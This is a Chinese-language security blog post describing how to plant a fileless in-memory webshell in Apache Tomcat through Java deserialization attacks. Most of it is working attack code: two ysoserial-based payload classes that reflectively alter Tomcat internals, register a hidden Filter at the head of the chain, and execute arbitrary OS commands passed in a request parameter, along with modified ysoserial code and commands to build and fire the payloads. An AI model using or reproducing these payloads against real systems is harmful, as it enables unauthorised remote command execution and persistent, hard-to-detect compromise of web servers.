前段时间,看到安全客有观星实验室的师傅写了篇《基于内存 Webshell 的无文件攻击技术研究》的文章,他的办法是动态的注册一个自定义的Controller,从而实现一个内存级的Webshell。文章也针对Spring不同的版本做了不同的实践,达到通杀Spring。虽然看起来达到通杀Spring了,但是对于一些非Spring的web框架,是不是就没办法了?这算是其局限吧。
而,最近一段时间,相继看到多个师傅写了一些关于RCE回显的文章,但他们的方法,大多数也是存在着一些局限,当然,我这篇文章要讲的也是局限在tomcat下,不过,我会集各位师傅回显的思路,最后做到tomcat下的通杀回显。
《通杀漏洞利用回显方法-linux平台》和《linux下java反序列化通杀回显方法的低配版实现》这两篇文章,都描述了在linux环境下,通过文件描述符"/proc/self/fd/i"获取到网络连接,从而输出数据实现回显,这种方式,个人也不太喜欢,毕竟正如作者说的 “我这种低配版指令ifconfig后效果实现效果如下,服务端会直接返回数据并断掉连接,所以没有了后面http响应包,requests库无法识别返回的内容报错。”,而且局限于linux系统下。
最近kingkk师傅的一篇文章《Tomcat中一种半通用回显方法》,让我重新拾起了tomcat通杀Webshell的想法,他的方法跨平台,只要是tomcat就能做到回显,也不局限于spring版本。不过,还是有点小局限,就是类似shiro这种,filter chain处理逻辑的地方出现的漏洞点,没办法获取到Request和Response对象进行回显,因为kingkk师傅所利用的代码点恰恰在其之后。不过,这里还是非常感谢kingkk师傅的研究成果。
首先我们看看一个普通http请求进来的时候,tomcat的部分执行栈:
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:806)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:745)
按照kingkk师傅的方法,利用的点是在 org.apache.catalina.core.ApplicationFilterChain.internalDoFilter:
if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); }
其中,通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化,之后,每次请求进来,就能通过这两个ThreadLocal获取到相应的request和response了。但是,也存在一点小限制,在其set之前,看:
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException { // Call the next filter if there is one if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false".equalsIgnoreCase( filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object[]{req, res, this}; SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal); } else { filter.doFilter(request, response, this); } } catch (IOException | ServletException | RuntimeException e) { throw e; } catch (Throwable e) { e = ExceptionUtils.unwrapInvocationTargetException(e); ExceptionUtils.handleThrowable(e); throw new ServletException(sm.getString("filterChain.filter"), e); } return; } // We fell off the end of the chain -- call the servlet instance try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); } ... } catch (IOException | ServletException | RuntimeException e) { throw e; } catch (Throwable e) { e = ExceptionUtils.unwrapInvocationTargetException(e); ExceptionUtils.handleThrowable(e); throw new ServletException(sm.getString("filterChain.servlet"), e); } finally { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(null); lastServicedResponse.set(null); } } }
先执行完所有的Filter了filter.doFilter(request, response, this)
因此,对于shiro的反序列化利用就没办法通过这种方式取到response回显了。
那么,有没有办法在Filter执行的时候拿到response和request呢?有,请看下一小节。
没错的,正如标题所说,通过动态注册一个Filter,并且把其放到最前面,这样,我们的Filter就能最先执行了,并且也成为了一个内存Webshell了。
要实现动态注册Filter,需要两个步骤。第一个步骤就是先达到能获取request和response,而第二个步骤是通过request或者response去动态注册Filter
首先,我们创建一个继承AbstractTranslet(因为需要携带恶意字节码到服务端加载执行)的TomcatEchoInject类,在其静态代码块中反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; /** * @author threedr3am */ public class TomcatEchoInject extends AbstractTranslet { static { try { /*刚开始反序列化后执行的逻辑*/ //修改 WRAP_SAME_OBJECT 值为 true Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT"); java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (!f.getBoolean(null)) { f.setBoolean(null, true); } //初始化 lastServicedRequest c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); f = c.getDeclaredField("lastServicedRequest"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null, new ThreadLocal()); } //初始化 lastServicedResponse f = c.getDeclaredField("lastServicedResponse"); modifiersField = f.getClass().getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL); f.setAccessible(true); if (f.get(null) == null) { f.set(null, new ThreadLocal()); } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
接着,我们改造一下ysoserial中的Gadgets.createTemplatesImpl方法
public static Object createTemplatesImpl ( final String command) throws Exception { return createTemplatesImpl(command, null); } public static Object createTemplatesImpl ( final String command, final Class c ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, c, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImpl(command, c, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } public static <T> T createTemplatesImpl ( final String command, Class c, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); final byte[] classBytes; if (c == null) { // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); classBytes = clazz.toBytecode(); } else { classBytes = ClassFiles.classAsBytes(c); } // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
可以看到,第二个传入的Class参数,我们并没有用到javassist,而是直接转字节数组,然后放到TemplatesImpl实例的_bytecodes字段中了。
最后,回到ysoserial中有调用Gadgets.createTemplatesImpl的payload类中来,我这边对每一个都做了拷贝修改,例如CommonsCollections11,我拷贝其修改后的类为CommonsCollections11ForTomcatEchoInject,在调用Gadgets.createTemplatesImpl(command[0];
的地方,改成了final Object templates = Gadgets.createTemplatesImpl(null, TomcatEchoInject.class);
并且,对ysoserial的main入口做一点小修改,因为原来的代码规定必须要有payload的入参,而我们这里不需要了
ysoserial.GeneratePayload#main:
if (args.length < 1) { printUsage(); System.exit(USAGE_CODE); }
在ysoserial执行maven指令生成jar包
mvn clean -Dmaven.test.skip=true compile assembly:assembly
这样,我们就能使用这个新的payload(CommonsCollections11ForTomcatEchoInject)了
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatEchoInject > ~/tmp/TomcatShellInject.ysoserial
在使用步骤一生成的序列化数据进行反序列化攻击后,我们就能通过下面这段代码获取到request和response对象了
java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal t = (ThreadLocal) f.get(null); //不为空则意味着第一次反序列化的准备工作已成功 ServletRequest servletRequest = (ServletRequest) t.get()
接着,我们要做的就是动态注册Filter到tomcat中,参考《动态注册之Servlet+Filter+Listener》,可以看到,其中通过ServletContext对象(实际获取的是ApplicationContext,是ServletContext的实现,因为门面模式的使用,后面需要提取实际实现),实现了动态注册Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
然而实际上并不管用,为什么呢?
private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException { if (filterName != null && !filterName.equals("")) { if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) { throw new IllegalStateException(sm.getString("applicationContext.addFilter.ise", new Object[]{this.getContextPath()})); } else { FilterDef filterDef = this.context.findFilterDef(filterName); if (filterDef == null) { filterDef = new FilterDef(); filterDef.setFilterName(filterName); this.context.addFilterDef(filterDef); } else if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) { return null; } if (filter == null) { filterDef.setFilterClass(filterClass); } else { filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); } return new ApplicationFilterRegistration(filterDef, this.context); } } else { throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", new Object[]{filterName})); } }
因为this.context.getState()
在运行时返回的state已经是LifecycleState.STARTED
了,所以直接就抛异常了,filter根本就添加不进去。
不过问题不大,因为this.context.getState()
获取的是ServletContext实现对象的context字段,从其中获取出state,那么,我们在其添加filter前,通过反射设置成LifecycleState.STARTING_PREP
,在其顺利添加完成后,再把其恢复成LifecycleState.STARTE
,这里必须要恢复,要不然会造成服务不可用。
其实上面的反射设置state值,也可以不做,因为我们看代码中,只是执行了this.context.addFilterDef(filterDef)
,我们完全也可以通过反射context这个字段自行添加filterDef。
在实际执行栈中,可以看到,实际filter的创建是在org.apache.catalina.core.StandardWrapperValve#invoke执行ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
的地方
跟进其实现方法,忽略不重要的代码:
... StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); ... // Add the relevant path-mapped filters to this filter chain for (int i = 0; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue; } if (!matchFiltersURL(filterMaps[i], requestPath)) continue; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } filterChain.addFilter(filterConfig); }
可以看到,从context提取了FilterMap数组,并且遍历添加到filterChain,最终生效,但是这里有两个问题:
context.findFilterConfig
是从context的filterConfigs中获取)这两个问题,也比较简单,第一个问题,其实在下面代码执行filterRegistration.addMappingForUrlPatterns
的时候已经添加进去了
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) { FilterMap filterMap = new FilterMap(); filterMap.setFilterName(this.filterDef.getFilterName()); if (dispatcherTypes != null) { Iterator var5 = dispatcherTypes.iterator(); while(var5.hasNext()) { DispatcherType dispatcherType = (DispatcherType)var5.next(); filterMap.setDispatcher(dispatcherType.name()); } } if (urlPatterns != null) { String[] var9 = urlPatterns; int var10 = urlPatterns.length; for(int var7 = 0; var7 < var10; ++var7) { String urlPattern = var9[var7]; filterMap.addURLPattern(urlPattern); } if (isMatchAfter) { this.context.addFilterMap(filterMap); } else { this.context.addFilterMapBefore(filterMap); } } }
而第二个问题,既然没有,我们就反射加进去就行了,不过且先看看StandardContext,它有一个方法filterStart
public boolean filterStart() { if (this.getLogger().isDebugEnabled()) { this.getLogger().debug("Starting filters"); } boolean ok = true; synchronized(this.filterConfigs) { this.filterConfigs.clear(); Iterator var3 = this.filterDefs.entrySet().iterator(); while(var3.hasNext()) { Entry<String, FilterDef> entry = (Entry)var3.next(); String name = (String)entry.getKey(); if (this.getLogger().isDebugEnabled()) { this.getLogger().debug(" Starting filter '" + name + "'"); } try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue()); this.filterConfigs.put(name, filterConfig); } catch (Throwable var8) { Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8); ExceptionUtils.handleThrowable(t); this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t); ok = false; } } return ok; } }
没错,它遍历了filterDefs,一个个实例化成ApplicationFilterConfig添加到filterConfigs了。
这两个问题解决了,是不是就完成了呢,其实还没有,还差一个优化的地方,因为我们想要把filter放到最前面,在所有filter前执行,从而解决shiro漏洞的问题。
也简单,我们看回org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
的代码:
// Add the relevant path-mapped filters to this filter chain for (int i = 0; i < filterMaps.length; i++) { if (!matchDispatcher(filterMaps[i] ,dispatcher)) { continue; } if (!matchFiltersURL(filterMaps[i], requestPath)) continue; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMaps[i].getFilterName()); if (filterConfig == null) { // FIXME - log configuration problem continue; } }
创建的顺序是根据filterMaps的顺序来的,那么我们就有必要去修改我们添加的filter顺序到第一位了,最后,整个第二步骤的代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; /** * @author threedr3am */ public class TomcatShellInject extends AbstractTranslet implements Filter { static { try { /*shell注入,前提需要能拿到request、response等*/ java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class .getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal t = (ThreadLocal) f.get(null); //不为空则意味着第一次反序列化的准备工作已成功 if (t != null && t.get() != null) { ServletRequest servletRequest = (ServletRequest) t.get(); javax.servlet.ServletContext servletContext = servletRequest.getServletContext(); org.apache.catalina.core.StandardContext standardContext = null; //判断是否已有该名字的filter,有则不再添加 if (servletContext.getFilterRegistration("threedr3am") == null) { //遍历出标准上下文对象 for (; standardContext == null; ) { java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object o = contextField.get(servletContext); if (o instanceof javax.servlet.ServletContext) { servletContext = (javax.servlet.ServletContext) o; } else if (o instanceof org.apache.catalina.core.StandardContext) { standardContext = (org.apache.catalina.core.StandardContext) o; } } if (standardContext != null) { //修改状态,要不然添加不了 java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); //创建一个自定义的Filter马 Filter threedr3am = new TomcatShellInject(); //添加filter马 javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext .addFilter("threedr3am", threedr3am); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); filterRegistration .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"}); //状态恢复,要不然服务不可用 if (stateField != null) { stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED); } if (standardContext != null) { //生效filter java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class .getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null); //把filter插到第一位 org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext .findFilterMaps(); for (int i = 0; i < filterMaps.length; i++) { if (filterMaps[i].getFilterName().equalsIgnoreCase("threedr3am")) { org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i]; filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMap; break; } } } } } } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "TomcatShellInject doFilter....................................................................."); String cmd; if ((cmd = servletRequest.getParameter("threedr3am")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }
和第一个步骤创建的TomcatEchoInject不一样,这里我们不但基础了AbstractTranslet,还实现了Filter创建一个我们自定义的内存Webshell
最后,我们也按照第一个步骤那样,创建一个ysoserial的CommonsCollections11
类的拷贝,名叫CommonsCollections11ForTomcatShellInject
,并把其Gadgets.createTemplatesImpl(command[0])
的调用改成Gadgets.createTemplatesImpl(null, TomcatShellInject.class)
,这样,我们的Webshell payload就完成了。
通过执行maven打包
mvn clean -Dmaven.test.skip=true compile assembly:assembly
然后执行生成的jar
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatShellInject > ~/tmp/TomcatEchoInject.ysoserial
就生成了CommonsCollections11ForTomcatShellInject的payload了
上一节中,我们生成了两个payload,接下来,我们启动一个具有commons-collections:commons-collections:3.2.1
依赖的服务端,并且存在反序列化的接口。
然后我们把步骤一和步骤二生成的payload依次打过去
可以依次看到,两个步骤都返回500异常,相关信息证明已经执行反序列化成功了,接下来我们试试这个内存Webshell
完美,具体ysoserial改造后的代码,我已经上传到github,有兴趣可以看看 threedr3am/ysoserial